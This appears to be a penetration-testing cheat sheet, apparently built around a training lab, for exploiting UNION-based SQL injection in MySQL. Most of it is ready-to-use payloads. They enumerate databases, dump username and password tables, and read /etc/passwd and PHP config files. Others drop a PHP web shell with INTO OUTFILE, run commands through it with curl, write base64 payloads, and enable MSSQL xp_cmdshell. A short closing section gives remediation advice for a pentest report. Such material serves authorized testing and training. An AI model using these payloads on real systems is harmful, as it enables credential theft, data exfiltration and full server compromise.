π‘οΈ Methodology Checklist
- Current DB/user:
SELECT database(); SELECT user(); - All databases:
SELECT schema_name FROM information_schema.schemata - Tables in DB:
SELECT table_name FROM information_schema.tables WHERE table_schema='[DB]' - Columns:
SELECT column_name FROM information_schema.columns WHERE table_name='[TABLE]' - Dump credentials table:
SELECT username,password FROM users - Check FILE privilege:
SELECT file_priv FROM mysql.user WHERE user='[USER]' - Write webshell (if FILE and web writable):
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
π― Operational Context
Use when: SQLi confirmed β enumerate database tables, extract credentials, and escalate to OS command execution if DB privileges permit.
Think Dumber First: information_schema.tables reveals all tables. information_schema.columns WHERE table_name='users' reveals columns. Then SELECT username,password FROM users β this exact pattern works on MySQL/PostgreSQL/MSSQL.
Skip when: DB user has minimal SELECT-only privileges β file read/write and OS commands wonβt be available.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
cn' UNION SELECT 1,@@version,3,4-- - | DBMS fingerprint (also: POW(1,1) numeric, SLEEP(5) blind) |
cn' UNION SELECT 1,database(),3,4-- - | Current database name |
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- - | List all databases |
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- - | List tables in target DB |
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- - | List columns in target table |
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- - | Dump data (dot operator for cross-DB reference) |
cn' UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM dev.credentials-- - | Merge columns when only 1 reflection point |
cn' UNION SELECT 1, user(), 3, 4-- - | Identify current DB user |
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="[USER]"-- - | Verify superuser privilege |
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'[USER]'@'localhost'"-- - | Check FILE privilege |
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- - | Check file write restrictions |
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - | Read local file (requires FILE privilege) |
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- - | Read PHP source (view raw HTML source in browser: Ctrl+U) |
cn' UNION SELECT 1, 'proof', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- - | Write test file |
cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- - | Drop PHP web shell (use "" not numbers for clean PHP) |
http://[TARGET_IP]/shell.php?0=id | Execute command via dropped web shell |
SELECT FROM_BASE64("<B64>") INTO OUTFILE '/tmp/payload' | Write binary payload via base64 decode |
π¬ Deep Dive & Workflow
INFORMATION_SCHEMA Enumeration Path
-- 1. Fingerprint
cn' UNION SELECT 1,@@version,3,4-- -
-- 2. List all DBs
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
-- Ignore: mysql, information_schema, performance_schema, sys
-- 3. Check current DB
cn' UNION SELECT 1,database(),3,4-- -
-- 4. List tables in target DB (ALWAYS filter by schema β avoids noise)
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dev'-- -
-- 5. List columns (filter by table name)
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -
-- 6. Dump (DOT OPERATOR β mandatory for cross-database refs)
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -Key Traps
- Dot operator trap:
FROM credentialsfails if not in that DB. Must useFROM dev.credentials - Single reflection point: Use
GROUP_CONCAT(col1,':',col2)orCONCAT()to merge - HTML rendering trap: PHP source rendered by browser β press
Ctrl+Uto see raw HTML
File Read Escalation Chain
-- 1. Am I root?
cn' UNION SELECT 1, user(), 3, 4-- -
-- 2. Do I have FILE privilege?
cn' UNION SELECT 1, grantee, privilege_type, 4
FROM information_schema.user_privileges
WHERE grantee="'root'@'localhost'"-- -
-- 3. Read
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4-- -Fails silently if OS user running MySQL lacks read permission for the file.
File Write β RCE Chain
-- 1. Check secure_file_priv (empty = write anywhere; NULL = blocked)
cn' UNION SELECT 1, variable_name, variable_value, 4
FROM information_schema.global_variables
WHERE variable_name="secure_file_priv"-- -
-- 2. Test write
cn' UNION SELECT 1, 'test', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- -
-- 3. Drop shell (CRITICAL: use "" not numbers for padding)
cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", ""
INTO OUTFILE '/var/www/html/shell.php'-- -
-- 4. Execute
# curl "http://[TARGET_IP]/shell.php?0=id"Finding web root if /var/www/html fails:
- Read
/etc/apache2/apache2.confβDocumentRoot - Read
/etc/nginx/nginx.confβroot - Read IIS:
%WinDir%\System32\Inetsrv\Config\ApplicationHost.config - Fuzz with ffuf +
default-web-root-directory-linux.txt
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| information_schema not accessible | Oracle DB | Oracle uses: SELECT table_name FROM all_tables not information_schema |
| Database dump takes too long | Large table | Extract specific columns: LIMIT 10 OFFSET 0; iterate in chunks |
| File read fails | Insufficient privileges | Check: SELECT file_priv FROM mysql.user WHERE user=user(); need FILE privilege |
| MSSQL xp_cmdshell not enabled | Default disabled | Enable: EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE β requires sysadmin |
| UNION extraction shows NULL | Wrong column index | Cycle through column indices: UNION SELECT NULL,table_name,NULL FROM information_schema.tables |
π Reporting Trigger
Finding Title: SQL Injection Enables Full Database Extraction and OS Command Execution Impact: SQL injection with elevated database privileges allows complete extraction of all database contents including credentials, session tokens, and PII, plus OS command execution via xp_cmdshell providing full server compromise. Root Cause: SQL injection combined with over-privileged database account (db_owner or sysadmin). No input parameterization and no principle of least privilege on database accounts. Recommendation: Parameterize all queries. Apply minimal database permissions β application accounts need only SELECT/INSERT/UPDATE on specific tables. Disable xp_cmdshell and dangerous stored procedures. Implement WAF with SQL injection detection.